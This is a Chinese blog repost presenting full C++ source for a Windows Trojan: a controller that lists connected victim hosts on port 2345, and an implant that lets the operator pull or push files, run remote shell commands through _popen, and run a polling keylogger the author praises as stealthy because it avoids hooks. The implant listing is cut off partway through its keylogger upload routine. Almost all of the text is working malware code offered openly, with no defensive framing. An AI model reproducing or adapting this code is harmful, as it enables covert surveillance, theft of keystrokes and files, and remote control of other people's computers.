【网络编程】Trojan源码 文件传输+远程cmd+键盘记录

来源:互联网 发布:sql server 默认值 编辑:程序博客网 时间:2024/05/17 16:56

转载于:http://blog.csdn.net/zchahaha/article/details/56833133

Trojan可以实现三个功能,分别为文件传输,远程执行cmd,键盘记录。其中键盘记录功能没有利用hook函数,有较强的隐蔽性。

现在给出源码:

  1. // client.cpp : 定义控制台应用程序的入口点。  
  2. //  
  3.   
  4. #include "stdafx.h"    
  5. #include <winsock2.h>    
  6. #include <cstdio>  
  7. #include <wincrypt.h>  
  8. #include <cstring>  
  9. #include <iostream>    
  10. #include <string.h>   
  11. #include<vector>  
  12. #include<time.h>  
  13. #define PORT 2345  
  14. #define BUFFER_SIZE 1024  
  15. #pragma comment(lib, "user32.lib")  
  16. #pragma comment(lib, "shlwapi.lib")  
  17. #pragma comment(lib, "ws2_32.lib")     
  18. #pragma comment(lib, "crypt32.lib")    
  19.   
  20. using namespace std;  
  21. unsigned char mac_mine[6] = { 0x40, 0xe2, 0x30, 0x68, 0x43, 0xa9 };     //我的mac地址 40-E2-30-68-43-A9  
  22. unsigned char ip_mine[16] = {"127.0.0.1" };                     //我的ip  172.20.10.5  
  23. int num;  
  24. struct node  
  25. {  
  26.     sockaddr_in addrClient;  
  27.     SOCKET socketClient;  
  28. }host[1024];  
  29.   
  30. //检测是否有新的主机连接  
  31. DWORD WINAPI ClientThread(LPVOID lpParameter)  
  32. {  
  33.     int len = sizeof(SOCKADDR);  
  34.     SOCKET socketClient;  
  35.     sockaddr_in addrClient;  
  36.     int id = 0;  
  37.     SOCKET socketSever = (SOCKET)lpParameter;  
  38.     while (true)  
  39.     {  
  40.         socketClient = accept(socketSever, (SOCKADDR *)&addrClient, &len);  
  41.         num++;  
  42.         host[num].addrClient=addrClient;  
  43.         host[num].socketClient = socketClient;  
  44.     }  
  45. }  
  46.   
  47. //将断开连接的主机删除  
  48. void RemoveHost(int id)  
  49. {  
  50.     for (int i = id; i < num; i++)  
  51.     {  
  52.         host[i] = host[i + 1];  
  53.     }  
  54.     num--;  
  55. }  
  56. //检查是否有主机断开连接  
  57. void HostClear()  
  58. {  
  59.     for (int i = num; i >=1; i--)  
  60.     {  
  61.         int sendbuf = 0;  
  62.         int Result=send(host[i].socketClient, (char*)&sendbuf, sizeof(int), 0);  
  63.         if (Result == SOCKET_ERROR)  
  64.         {  
  65.             RemoveHost(i);  
  66.         }  
  67.     }  
  68. }  
  69. //刷新  
  70. void refresh()  
  71. {  
  72.     HostClear();  
  73.     cout << "受控主机数:" << num << endl;  
  74.     for (int i = 1; i <= num; i++)  
  75.     {  
  76.         cout << i << ".   ip:" << inet_ntoa(host[i].addrClient.sin_addr) << "   port:" << host[i].addrClient.sin_port << endl;  
  77.     }  
  78. }  
  79.   
  80. int recvn(SOCKET s, char * recvbuf, unsigned int fixedlen)  
  81. {  
  82.     int iResult;  
  83.     int cnt = fixedlen; //剩余多少字节尚未接收   
  84.     while (cnt > 0)  
  85.     {  
  86.         iResult = recv(s, recvbuf, cnt, 0);  
  87.         if (iResult < 0)  
  88.         {  
  89.             printf("error: %d\n", WSAGetLastError());  
  90.             return -1;  
  91.         }  
  92.         if (iResult == 0)//对方关闭连接,返回已接收到的小于fixedlen的字节数   
  93.             return fixedlen - cnt;  
  94.         recvbuf += iResult;  
  95.         cnt -= iResult;  
  96.     }  
  97.     return fixedlen;  
  98. }  
  99. //远程执行cmd  
  100. void UseCmd(int id)  
  101. {  
  102.     SOCKET s = host[id].socketClient;  
  103.     char    buf[BUFFER_SIZE];  
  104.     char result[BUFFER_SIZE * 64];  
  105.     int  inputlen;  
  106.     getchar();  
  107.     while (1)  
  108.     {  
  109.         memset(buf, 0, sizeof(buf));  
  110.         memset(result, 0, sizeof(result));  
  111.         cout << "C:\\Socket\\Client>";  
  112.         cin.getline(buf, sizeof(buf));   
  113.         send(s, buf, BUFFER_SIZE, 0);  
  114.         if (buf[0] == 'e'&&buf[1] == 'x'&&buf[2] == 'i'&&buf[3] == 't')  
  115.         {  
  116.             cout << "The End." << endl;  
  117.             return ;  
  118.         }  
  119.           
  120.         recvn(s, result, sizeof(result));  
  121.         printf(result);  
  122.     }  
  123. }  
  124.   
  125.   
  126.   
  127. void GetFile(int id)  
  128. {  
  129.     SOCKET s = host[id].socketClient;  
  130.     char filename[BUFFER_SIZE];  
  131.     memset(filename, 0, sizeof(filename));  
  132.     cout << "输入文件名:";  
  133.     getchar();  
  134.     cin.getline(filename, sizeof(filename));  
  135.     send(s, filename, sizeof(filename), 0);   
  136.     TCHAR name[BUFFER_SIZE];  
  137.     memset(name, 0, sizeof(name));  
  138.     for (int i = 0; filename[i]; i++)  
  139.     {  
  140.         name[i] = filename[i];  
  141.     }  
  142.     HANDLE hFile;  
  143.     DWORD count;  
  144.     hFile = CreateFile(  
  145.         name,    // 文件名  
  146.         GENERIC_WRITE,          // 写入权限  
  147.         0,                      // 阻止其他进程访问  
  148.         NULL,                   // 子进程不可继承本句柄  
  149.         CREATE_ALWAYS,             // 仅不存在时创建新文件  
  150.         FILE_ATTRIBUTE_NORMAL,  // 普通文件  
  151.         NULL  
  152.         );  
  153.     unsigned int filelen;  
  154.     recvn(s, (char *)&filelen, sizeof(unsigned int));  
  155.     filelen = ntohl(filelen);  
  156.     unsigned int recvbuflen = min(filelen, BUFFER_SIZE);  
  157.     char recvbuf[BUFFER_SIZE];  
  158.     while (filelen > 0)  
  159.     {  
  160.         cout << filelen << endl;  
  161.         memset(recvbuf, 0, sizeof(recvbuf));  
  162.         unsigned int recvlen=recvn(s, recvbuf, recvbuflen);  
  163.         WriteFile(hFile, recvbuf, recvlen, &count, 0);  
  164.         filelen -= recvlen;  
  165.         recvbuflen = min(filelen, recvbuflen);   
  166.     }  
  167.     CloseHandle(hFile);  
  168.     cout << "文件接收成功!" << endl;  
  169.   
  170. }  
  171.   
  172. void SendFile(int id)  
  173. {  
  174.     SOCKET  s = host[id].socketClient;  
  175.     char filename[BUFFER_SIZE];  
  176.     memset(filename, 0, sizeof(filename));  
  177.     cout << "输入文件名:";  
  178.     getchar();  
  179.     cin.getline(filename, sizeof(filename));  
  180.     send(s, filename, BUFFER_SIZE, 0);  
  181.     TCHAR name[BUFFER_SIZE];  
  182.     memset(name, 0, sizeof(name));  
  183.     for (int i = 0; filename[i]; i++)  
  184.     {  
  185.         name[i] = filename[i];  
  186.     }  
  187.     HANDLE hFile;  
  188.     hFile = CreateFile(  
  189.         name,  
  190.         GENERIC_READ,  
  191.         0,  
  192.         NULL,  
  193.         OPEN_EXISTING,  
  194.         FILE_ATTRIBUTE_NORMAL,  
  195.         NULL  
  196.         );  
  197.     DWORD dwBytesRead, dwBytesToRead;  
  198.     unsigned int filelen = GetFileSize(hFile, NULL);  
  199.     unsigned int filelen1 = htonl(filelen);  
  200.     send(s, (char*)&filelen1, sizeof(unsigned int), 0);  
  201.     char buf[BUFFER_SIZE*32];  
  202.     dwBytesToRead = filelen;  
  203.     dwBytesRead = 0;  
  204.     while (dwBytesToRead > 0)  
  205.     {  
  206.         cout << dwBytesToRead << endl;  
  207.         memset(buf, 0, sizeof(buf));  
  208.         ReadFile(hFile, buf, 1024, &dwBytesRead, NULL);  
  209.         if (dwBytesRead == 0)       break;  
  210.         dwBytesToRead -= dwBytesRead;  
  211.         send(s, buf, dwBytesRead, 0);  
  212.     }  
  213.     CloseHandle(hFile);  
  214.     cout << "文件传输成功!" << endl;  
  215. }  
  216.   
  217. void KeyLogger(int id)  
  218. {  
  219.     SOCKET  s = host[id].socketClient;  
  220.     cout << "请输入记录时长:";  
  221.     int Time;  
  222.     cin >> Time;  
  223.     send(s, (char*)&Time, sizeof(int), 0);  
  224.     char filename[BUFFER_SIZE] = "KeyLogger.txt";  
  225.     TCHAR name[BUFFER_SIZE];  
  226.     for (int i = 0;i<BUFFER_SIZE; i++)  
  227.         name[i] = filename[i];  
  228.     HANDLE hFile;  
  229.     DWORD count;  
  230.     hFile = CreateFile(  
  231.         name,    // 文件名  
  232.         GENERIC_WRITE,          // 写入权限  
  233.         0,                      // 阻止其他进程访问  
  234.         NULL,                   // 子进程不可继承本句柄  
  235.         CREATE_ALWAYS,             // 仅不存在时创建新文件  
  236.         FILE_ATTRIBUTE_NORMAL,  // 普通文件  
  237.         NULL  
  238.         );  
  239.     unsigned int filelen;  
  240.     recvn(s, (char *)&filelen, sizeof(unsigned int));  
  241.     filelen = ntohl(filelen);  
  242.     unsigned int recvbuflen = min(filelen, BUFFER_SIZE);  
  243.     char recvbuf[BUFFER_SIZE];  
  244.     cout << endl;  
  245.     while (filelen > 0)  
  246.     {  
  247.         cout << filelen << " ";  
  248.         memset(recvbuf, 0, sizeof(recvbuf));  
  249.         unsigned int recvlen = recvn(s, recvbuf, recvbuflen);  
  250.         cout << recvlen << endl;  
  251.         WriteFile(hFile, recvbuf, recvlen, &count, 0);  
  252.         filelen -= recvlen;  
  253.         recvbuflen = min(filelen, recvbuflen);  
  254.     }  
  255.     CloseHandle(hFile);  
  256.     cout << "文件接收成功!" << endl;  
  257. }  
  258.   
  259. int _tmain(int argc, _TCHAR* argv[])  
  260. {  
  261.     WORD sockVersion = MAKEWORD(2, 2);  
  262.     WSADATA wsaData;  
  263.     int error = WSAStartup(sockVersion, &wsaData);  
  264.     if (error != 0)  
  265.     {  
  266.         cout << "fail to startup! " << WSAGetLastError() << endl;  
  267.         return 0;  
  268.     }  
  269.     SOCKET socketSever = socket(AF_INET, SOCK_STREAM, 0);  
  270.     if (socketSever == INVALID_SOCKET)  
  271.     {  
  272.         cout << "socket error! " << WSAGetLastError() << endl;  
  273.         WSACleanup();  
  274.         closesocket(socketSever);  
  275.         return 0;  
  276.     }  
  277.   
  278.     //本机socket 地址  
  279.     sockaddr_in addrServer;  
  280.     addrServer.sin_addr.S_un.S_addr = htonl(INADDR_ANY);  
  281.     addrServer.sin_family = AF_INET;  
  282.     addrServer.sin_port = htons(PORT);  
  283.     //将socket绑定在本地端口  
  284.     if (bind(socketSever, (SOCKADDR*)&addrServer, sizeof(SOCKADDR)) == SOCKET_ERROR)  
  285.     {  
  286.         cout << "bind error! " << WSAGetLastError() << endl;;  
  287.         closesocket(socketSever);  
  288.         WSACleanup();  
  289.         return 0;  
  290.     }  
  291.     if (listen(socketSever, 10) == SOCKET_ERROR)  
  292.         cout << "Listen failed with error " << WSAGetLastError() << endl;  
  293.   
  294.     num = 0;  
  295.   
  296.     HANDLE hThread = NULL;  
  297.     hThread = CreateThread(NULL, 0, ClientThread, (LPVOID)socketSever, 0, NULL);  
  298.       
  299.     refresh();  
  300.     while (1)  
  301.     {  
  302.         cout << "请选择操作" << endl;  
  303.   
  304.         cout << "---------------------------------------------------"<<endl;  
  305.         cout << "|                    请输入选项                   |" << endl;  
  306.         cout << "|                    0.刷新主机                   |" << endl;  
  307.         cout << "|                    1.获取文件                   |" << endl;  
  308.         cout << "|                    2.发送文件                   |" << endl;  
  309.         cout << "|                    3.远程控制                   |" << endl;  
  310.         cout << "|                    4.键盘记录                   |" << endl;  
  311.         cout << "---------------------------------------------------" << endl;  
  312.   
  313.         int choice;  
  314.         cin >> choice;  
  315.         if (choice == 0)  
  316.         {  
  317.             refresh();  
  318.         }  
  319.         else  
  320.         {  
  321.             cout << "选择受控主机编号: ";  
  322.             int id;  
  323.             cin >> id;  
  324.             send(host[id].socketClient, (char*)&choice, sizeof(int), 0);  
  325.             if (choice == 1)  
  326.             {  
  327.                 GetFile(id);  
  328.             }  
  329.             if (choice == 2)  
  330.             {  
  331.                 SendFile(id);  
  332.             }  
  333.             if (choice == 3)  
  334.             {  
  335.                 UseCmd(id);  
  336.             }  
  337.             if (choice == 4)  
  338.             {  
  339.                 KeyLogger(id);  
  340.             }  
  341.         }  
  342.     }  
  343.     CloseHandle(hThread);  
  344.     closesocket(socketSever);  
  345.     return 0;  
  346. }  


  1. // server.cpp : 定义控制台应用程序的入口点。  
  2. //  
  3.   
  4. #include "stdafx.h"    
  5. #include <winsock2.h>    
  6. #include <cstdio>  
  7. #include <wincrypt.h>  
  8. #include <time.h>  
  9. #include <cstring>  
  10. #include <iostream>    
  11. #include <string.h>   
  12. #define PORT 2345  
  13. #define BUFFER_SIZE 1024  
  14. #pragma comment(lib, "user32.lib")  
  15. #pragma comment(lib, "shlwapi.lib")  
  16. #pragma comment(lib, "ws2_32.lib")     
  17. #pragma comment(lib, "crypt32.lib")    
  18.   
  19. using namespace std;  
  20.   
  21. char IP[16] = { "127.0.0.1" };  
  22. char *LowerCase[] = {  
  23.     "b",  
  24.     "e",  
  25.     "[ESC]",  
  26.     "[F1]",  
  27.     "[F2]",  
  28.     "[F3]",  
  29.     "[F4]",  
  30.     "[F5]",  
  31.     "[F6]",  
  32.     "[F7]",  
  33.     "[F8]",  
  34.     "[F9]",  
  35.     "[F10]",  
  36.     "[F11]",  
  37.     "[F12]",  
  38.     "`",  
  39.     "1",  
  40.     "2",  
  41.     "3",  
  42.     "4",  
  43.     "5",  
  44.     "6",  
  45.     "7",  
  46.     "8",  
  47.     "9",  
  48.     "0",  
  49.     "-",  
  50.     "=",  
  51.     "[TAB]",  
  52.     "q",  
  53.     "w",  
  54.     "e",  
  55.     "r",  
  56.     "t",  
  57.     "y",  
  58.     "u",  
  59.     "i",  
  60.     "o",  
  61.     "p",  
  62.     "[",  
  63.     "]",  
  64.     "a",  
  65.     "s",  
  66.     "d",  
  67.     "f",  
  68.     "g",  
  69.     "h",  
  70.     "j",  
  71.     "k",  
  72.     "l",  
  73.     ";",  
  74.     "'",  
  75.     "z",  
  76.     "x",  
  77.     "c",  
  78.     "v",  
  79.     "b",  
  80.     "n",  
  81.     "m",  
  82.     ",",  
  83.     ".",  
  84.     "/",  
  85.     "\\",  
  86.     "[CTRL]",  
  87.     "[WIN]",  
  88.     " ",  
  89.     "[WIN]",  
  90.     "[Print Screen]",  
  91.     "[Scroll Lock]",  
  92.     "[Insert]",  
  93.     "[Home]",  
  94.     "[PageUp]",  
  95.     "[Del]",  
  96.     "[End]",  
  97.     "[PageDown]",  
  98.     "[Left]",  
  99.     "[UP]",  
  100.     "[Right]",  
  101.     "[Down]",  
  102.     "[Num Lock]",  
  103.     "/",  
  104.     "*",  
  105.     "-",  
  106.     "+",  
  107.     "0",  
  108.     "1",  
  109.     "2",  
  110.     "3",  
  111.     "4",  
  112.     "5",  
  113.     "6",  
  114.     "7",  
  115.     "8",  
  116.     "9",  
  117.     ".",  
  118. };  
  119. // Upper Case Key & Some Other Keys  
  120. char *UpperCase[] = {  
  121.     "b",  
  122.     "e",  
  123.     "[ESC]",  
  124.     "[F1]",  
  125.     "[F2]",  
  126.     "[F3]",  
  127.     "[F4]",  
  128.     "[F5]",  
  129.     "[F6]",  
  130.     "[F7]",  
  131.     "[F8]",  
  132.     "[F9]",  
  133.     "[F10]",  
  134.     "[F11]",  
  135.     "[F12]",  
  136.     "~",  
  137.     "!",  
  138.     "@",  
  139.     "#",  
  140.     "$",  
  141.     "%",  
  142.     "^",  
  143.     "&",  
  144.     "*",  
  145.     "(",  
  146.     ")",  
  147.     "_",  
  148.     "+",  
  149.     "[TAB]",  
  150.     "Q",  
  151.     "W",  
  152.     "E",  
  153.     "R",  
  154.     "T",  
  155.     "Y",  
  156.     "U",  
  157.     "I",  
  158.     "O",  
  159.     "P",  
  160.     "{",  
  161.     "}",  
  162.     "A",  
  163.     "S",  
  164.     "D",  
  165.     "F",  
  166.     "G",  
  167.     "H",  
  168.     "J",  
  169.     "K",  
  170.     "L",  
  171.     ":",  
  172.     "\"",  
  173.     "Z",  
  174.     "X",  
  175.     "C",  
  176.     "V",  
  177.     "B",  
  178.     "N",  
  179.     "M",  
  180.     "<",  
  181.     ">",  
  182.     ".?",  
  183.     "│",  
  184.     "[CTRL]",  
  185.     "[WIN]",  
  186.     " ",  
  187.     "[WIN]",  
  188.     "[Print Screen]",  
  189.     "[Scroll Lock]",  
  190.     "[Insert]",  
  191.     "[Home]",  
  192.     "[PageUp]",  
  193.     "[Del]",  
  194.     "[End]",  
  195.     "[PageDown]",  
  196.     "[Left]",  
  197.     "[Up]",  
  198.     "[Right]",  
  199.     "[Down]",  
  200.     "[Num Lock]",  
  201.     "/",  
  202.   
  203.     "*",  
  204.     "-",  
  205.     "+",  
  206.     "0",  
  207.     "1",  
  208.     "2",  
  209.     "3",  
  210.     "4",  
  211.     "5",  
  212.     "6",  
  213.     "7",  
  214.     "8",  
  215.     "9",  
  216.     ".",  
  217. };  
  218. // Ascii Keys,Forget About It  
  219. int SpecialKeys[] = {  
  220.     8,  
  221.     13,  
  222.     27,  
  223.     112,  
  224.     113,  
  225.     114,  
  226.     115,  
  227.     116,  
  228.     117,  
  229.     118,  
  230.     119,  
  231.     120,  
  232.     121,  
  233.     122,  
  234.     123,  
  235.     192,  
  236.     49,  
  237.     50,  
  238.     51,  
  239.     52,  
  240.     53,  
  241.     54,  
  242.     55,  
  243.     56,  
  244.     57,  
  245.     48,  
  246.     189,  
  247.     187,  
  248.     9,  
  249.     81,  
  250.     87,  
  251.     69,  
  252.     82,  
  253.     84,  
  254.     89,  
  255.     85,  
  256.     73,  
  257.     79,  
  258.     80,  
  259.     219,  
  260.     221,  
  261.     65,  
  262.     83,  
  263.     68,  
  264.     70,  
  265.     71,  
  266.     72,  
  267.     74,  
  268.     75,  
  269.     76,  
  270.     186,  
  271.     222,  
  272.     90,  
  273.     88,  
  274.     67,  
  275.     86,  
  276.     66,  
  277.     78,  
  278.     77,  
  279.     188,  
  280.     190,  
  281.     191,  
  282.     220,  
  283.     17,  
  284.     91,  
  285.     32,  
  286.     92,  
  287.     44,  
  288.     145,  
  289.     45,  
  290.     36,  
  291.     33,  
  292.     46,  
  293.     35,  
  294.     34,  
  295.     37,  
  296.     38,  
  297.     39,  
  298.     40,  
  299.     144,  
  300.     111,  
  301.     106,  
  302.     109,  
  303.     107,  
  304.     96,  
  305.     97,  
  306.     98,  
  307.     99,  
  308.     100,  
  309.     101,  
  310.     102,  
  311.     103,  
  312.     104,  
  313.     105,  
  314.     110,  
  315. };  
  316. HWND PreviousFocus = NULL;  
  317.   
  318. int recvn(SOCKET s, char * recvbuf, unsigned int fixedlen)  
  319. {  
  320.     int iResult;  
  321.     int cnt = fixedlen; //剩余多少字节尚未接收   
  322.     while (cnt > 0)  
  323.     {  
  324.         iResult = recv(s, recvbuf, cnt, 0);  
  325.         if (iResult < 0)  
  326.         {  
  327.             printf("error: %d\n", WSAGetLastError());  
  328.             return -1;  
  329.         }  
  330.         if (iResult == 0)//对方关闭连接,返回已接收到的小于fixedlen的字节数   
  331.             return fixedlen - cnt;  
  332.         recvbuf += iResult;  
  333.         cnt -= iResult;  
  334.     }  
  335.     return fixedlen;  
  336. }  
  337.   
  338. void SendFile(SOCKET s)  
  339. {  
  340.     char filename[BUFFER_SIZE];  
  341.     memset(filename, 0, sizeof(filename));  
  342.     recvn(s, filename, BUFFER_SIZE); cout << filename << endl;  
  343.     TCHAR name[BUFFER_SIZE];  
  344.     memset(name, 0, sizeof(name));  
  345.     for (int i = 0; filename[i]; i++)  
  346.         name[i] = filename[i];  
  347.     HANDLE hFile;  
  348.     hFile = CreateFile(  
  349.         name,  
  350.         GENERIC_READ,  
  351.         0,  
  352.         NULL,  
  353.         OPEN_EXISTING,  
  354.         FILE_ATTRIBUTE_NORMAL,  
  355.         NULL  
  356.         );  
  357.     DWORD dwBytesRead, dwBytesToRead;  
  358.     unsigned int filelen = GetFileSize(hFile, NULL);  
  359.     unsigned int filelen1 = htonl(filelen);  
  360.     send(s, (char*)&filelen1, sizeof(unsigned int), 0);  
  361.     char buf[BUFFER_SIZE * 32];  
  362.     dwBytesToRead = filelen;  
  363.     dwBytesRead = 0;  
  364.     while (dwBytesToRead > 0)  
  365.     {  
  366.         cout << dwBytesToRead << endl;  
  367.         memset(buf, 0, sizeof(buf));  
  368.         ReadFile(hFile, buf, 1024, &dwBytesRead, NULL);  
  369.         if (dwBytesRead == 0)       break;  
  370.         dwBytesToRead -= dwBytesRead;  
  371.         send(s, buf, dwBytesRead, 0);   
  372.     }  
  373.     CloseHandle(hFile);  
  374. }  
  375.   
  376. void GetFile(SOCKET s)  
  377. {  
  378.     char filename[BUFFER_SIZE];  
  379.     memset(filename, 0, sizeof(filename));  
  380.     recvn(s, filename, BUFFER_SIZE);  
  381.     TCHAR name[BUFFER_SIZE];  
  382.     memset(name, 0, sizeof(name));  
  383.     for (int i = 0; filename[i]; i++)  
  384.     {  
  385.         name[i] = filename[i];  
  386.     }  
  387.     HANDLE hFile;  
  388.     DWORD count;  
  389.     hFile = CreateFile(  
  390.         name,    // 文件名  
  391.         GENERIC_WRITE,          // 写入权限  
  392.         0,                      // 阻止其他进程访问  
  393.         NULL,                   // 子进程不可继承本句柄  
  394.         CREATE_ALWAYS,             // 仅不存在时创建新文件  
  395.         FILE_ATTRIBUTE_NORMAL,  // 普通文件  
  396.         NULL  
  397.         );  
  398.     unsigned int filelen;  
  399.     recvn(s, (char *)&filelen, sizeof(unsigned int));  
  400.     filelen = ntohl(filelen);  
  401.     unsigned int recvbuflen = min(filelen, BUFFER_SIZE);  
  402.     char recvbuf[BUFFER_SIZE];  
  403.     while (filelen > 0)  
  404.     {  
  405.         cout << filelen << endl;  
  406.         memset(recvbuf, 0, sizeof(recvbuf));  
  407.         unsigned int recvlen = recvn(s, recvbuf, recvbuflen);  
  408.         WriteFile(hFile, recvbuf, recvlen, &count, 0);  
  409.         filelen -= recvlen;  
  410.         recvbuflen = min(filelen, recvbuflen);  
  411.     }  
  412.     CloseHandle(hFile);  
  413.     cout << "文件接收成功!" << endl;  
  414.   
  415. }  
  416.   
  417. int execmd(char* cmd, char* result) {  
  418.     char buffer[BUFFER_SIZE];                         //定义缓冲区                          
  419.     FILE* pipe = _popen(cmd, "r");            //打开管道,并执行命令   
  420.     if (!pipe)  
  421.         return 0;                      //返回0表示运行失败   
  422.       
  423.     while (!feof(pipe)) {  
  424.         if (fgets(buffer, BUFFER_SIZE, pipe)){             //将管道输出到result中   
  425.             strcat(result, buffer);  
  426.         }  
  427.     }  
  428.     _pclose(pipe);                            //关闭管道   
  429.     return 1;                                 //返回1表示运行成功   
  430. }  
  431.   
  432.   
  433. void UseCmd(SOCKET s)  
  434. {  
  435.     char buf[BUFFER_SIZE];  
  436.     char result[BUFFER_SIZE * 64];   
  437.     while (1)  
  438.     {  
  439.         memset(buf, 0, sizeof(buf));  
  440.         memset(result, 0, sizeof(result));  
  441.         recvn(s, buf, BUFFER_SIZE);   
  442.         if (buf[0] == 'e'&&buf[1] == 'x'&&buf[2] == 'i'&&buf[3] == 't')  
  443.         {  
  444.             return;  
  445.         }  
  446.         execmd(buf, result);   
  447.         send(s, result, sizeof(result),0);  
  448.     }  
  449.       
  450. }  
  451. char *WindowCaption = (char*)malloc(sizeof(char)* (100 + 2)); // Allocate Memory For The Caption  
  452. BOOL IsWindowsFocusChange()  
  453. {  
  454.     HWND hFocus = GetForegroundWindow(); // Retrieve The Active Windows's Focus  
  455.     BOOL ReturnFlag = FALSE; // Declare The Return Flag  
  456.     if (hFocus != PreviousFocus) // The Active Windows Has Change  
  457.     {  
  458.         PreviousFocus = hFocus; // Save The Old Active Windos Focus  
  459.         int WinLeng = GetWindowTextLength(hFocus); // Get The Active Windows's Caption's Length  
  460.         memset(WindowCaption, 0, sizeof(WindowCaption));  
  461.         //char *WindowCaption = (char*)malloc(sizeof(char)* (WinLeng + 2)); // Allocate Memory For The Caption  
  462.         //char WindowCaption[52];  
  463.         GetWindowText(hFocus, (LPWSTR)WindowCaption, (WinLeng + 1)); // Retrieve The Active Windows's Caption  
  464.         if (WindowCaption != NULL&&strlen(WindowCaption) > 0) // Really Get The Windows's Caption  
  465.         {  
  466.             //printf("rnThe Active Windows Title: %srn", WindowCaption); // Display The Active Windows's Caption  
  467.             ReturnFlag = TRUE; // Indicate The Windows's Focus Has Changed  
  468.         }  
  469.         //free(WindowCaption); // Free The Allocated Memory  
  470.     }   
  471.     return ReturnFlag; // Return The Flag  
  472. }// End Of IsWindowsFocusChange Function  
  473. //-------------------------------------------------------------------------  
  474. // Purpose: To Manage(Display)The Keys Retrieved From System's Key Buffer  
  475. // Return Type: Boolean  
  476. // Parameters: NULL  
  477. //-------------------------------------------------------------------------  
  478. BOOL KeyLogger(int Time)  
  479. {  
  480.     Time *= 125;  
  481.     int bKstate[256] = { 0 }; // Declare The Key State Array  
  482.     int i, x;  
  483.     char KeyBuffer[600]; // Key Buffer Array  
  484.     int state; // Variable To Hode State Of Some Special Key Like CapsLock,Shift And ect  
  485.     int shift; // Variable To Hode State Of Shift Key  
  486.     // Reset The Buffer  
  487.     memset(KeyBuffer, 0, sizeof(KeyBuffer));  
  488.     char filename[1024] = { "out.txt" };  
  489.     TCHAR name[1024];  
  490.     for (int i = 0; i < 1024; i++)  
  491.         name[i] = filename[i];  
  492.     HANDLE hFile;  
  493.     DWORD count;  
  494.     hFile = CreateFile(  
  495.         name,    // 文件名  
  496.         GENERIC_WRITE,          // 写入权限  
  497.         0,                      // 阻止其他进程访问  
  498.         NULL,                   // 子进程不可继承本句柄  
  499.         CREATE_ALWAYS,             // 仅不存在时创建新文件  
  500.         FILE_ATTRIBUTE_NORMAL,  // 普通文件  
  501.         NULL  
  502.         );  
  503.     DWORD cnt;  
  504.   
  505.     while (Time--) // Forever Loop Is Taking Place Here  
  506.     {  
  507.         Sleep(8); // Rest For A While,And Avoid Taking 100% CPU Usage.Pretty Important To Add This Line Or The System Gets Fucked UP  
  508.         if (IsWindowsFocusChange()) //Check The Active Windows Title  
  509.         {  
  510.             if (strlen(KeyBuffer) != 0) // Keys Are Pressed  
  511.             {  
  512.                 //printf("%s", KeyBuffer); // Display The Keys Pressed  
  513.                 WriteFile(hFile, KeyBuffer, 600, &cnt, 0);  
  514.                 memset(KeyBuffer, 0, sizeof(KeyBuffer)); // reset The Buffer  
  515.             }  
  516.         }  
  517.         for (i = 0; i<92; i++) // Looping To Check Visual Keys  
  518.         {  
  519.             shift = GetKeyState(VK_SHIFT); // Check Whether Shift Is Pressed  
  520.             x = SpecialKeys[i]; // Match The Key  
  521.             if (GetAsyncKeyState(x) & 0x8000) // Check Combination Keys  
  522.             {  
  523.                 // See Whether CapsLocak Or Shift Is Pressed  
  524.                 if (((GetKeyState(VK_CAPITAL) != 0) && (shift > -1) && (x > 64) && (x < 91))) //Caps Lock And Shift Is Not Pressed  
  525.   
  526.                 {  
  527.                     bKstate[x] = 1; //Uppercase Characters A-Z  
  528.                 }  
  529.                 else  
  530.                 if (((GetKeyState(VK_CAPITAL) != 0) && (shift < 0) && (x > 64) && (x < 91))) //Caps Lock And Shift Is Pressed  
  531.                 {  
  532.                     bKstate[x] = 2; //Lowercase a-z  
  533.                 }  
  534.                 else  
  535.                 if (shift < 0) // Shift Is Pressed  
  536.                 {  
  537.                     bKstate[x] = 3; //Uppercase Characters A-Z  
  538.                 }  
  539.                 else  
  540.                     bKstate[x] = 4; //Lowercase a-z  
  541.             }  
  542.             else  
  543.             {  
  544.                 if (bKstate[x] != 0) // No Combination Keys Detected  
  545.                 {  
  546.                     state = bKstate[x]; // Retrieve The Current State  
  547.                     bKstate[x] = 0; // Reset The Current State  
  548.                     if (x == 8) // Back Space Is Detected  
  549.                     {  
  550.                         KeyBuffer[strlen(KeyBuffer) - 1] = 0; // One Key Back Then  
  551.                         continue// Start A New Loop  
  552.                     }  
  553.                     else  
  554.                     if (strlen(KeyBuffer) > 550) // Buffer FULL  
  555.                     {  
  556.                         //printf("%s <Buffer Full>", KeyBuffer); // Display The Keys Retrieved  
  557.                         WriteFile(hFile, KeyBuffer, 600, &cnt, 0);  
  558.                         memset(KeyBuffer, 0, sizeof(KeyBuffer)); // Reset The Buffer  
  559.                         continue// Start A New Loop  
  560.                     }  
  561.                     else  
  562.                     if (x == 13) // Enter Is Detected  
  563.                     {  
  564.                         if (strlen(KeyBuffer) == 0) // No Other Keys Retrieved But Enter  
  565.                         {  
  566.                             continue// Start A New Loop  
  567.                         }  
  568.                         //printf("%s<Enter>", KeyBuffer); // Retrieve Other Keys With Enter  
  569.                         WriteFile(hFile, KeyBuffer, 600, &cnt, 0);  
  570.                         memset(KeyBuffer, 0, sizeof(KeyBuffer)); // Display The Keys With Enter  
  571.                         continue// Start A New Loop  
  572.                     }  
  573.                     else  
  574.                     if ((state % 2) == 1) //Must Be Upper Case Characters  
  575.                     {  
  576.                         strcat(KeyBuffer, UpperCase[i]); // Store The Key To Key Buffer  
  577.                     }  
  578.                     else  
  579.                     if ((state % 2) == 0) // Must Be Lower Case Characters  
  580.                     {  
  581.                         strcat(KeyBuffer, LowerCase[i]); // Store The Key To Key Buffer  
  582.                     }  
  583.                 }  
  584.             }  
  585.         }// End Of For Loop  
  586.     }// End Of While Loop  
  587.     CloseHandle(hFile);  
  588.     return TRUE; // Return To The Caller  
  589. }// End Of KeyLogger Function  
  590. // End Of File  
  591.   
  592. void UseKeyLogger(SOCKET s)  
  593. {  
  594.     int Time;  
  595.     recv(s, (char*)&Time, sizeof(int), 0);  
  596.     KeyLogger(Time);  
  597.     char filename[BUFFER_SIZE] = "out.txt";  
  598.     TCHAR name[BUFFER_SIZE];  
  599.     memset(name, 0, sizeof(name));  
  600.     for (int i = 0; filename[i]; i++)  
  601.         name[i] = filename[i];  
  602.     HANDLE hFile;  
  603.     hFile = CreateFile(  
  604.         name,  
  605.         GENERIC_READ,  
  606.         0,  
  607.         NULL,  
  608.         OPEN_EXISTING,  
  609.         FILE_ATTRIBUTE_NORMAL,  
  610.         NULL  
  611.         );  
  612.     DWORD dwBytesRead, dwBytesToRead;  
  613.     unsigned int filelen = GetFileSize(hFile, NULL);  
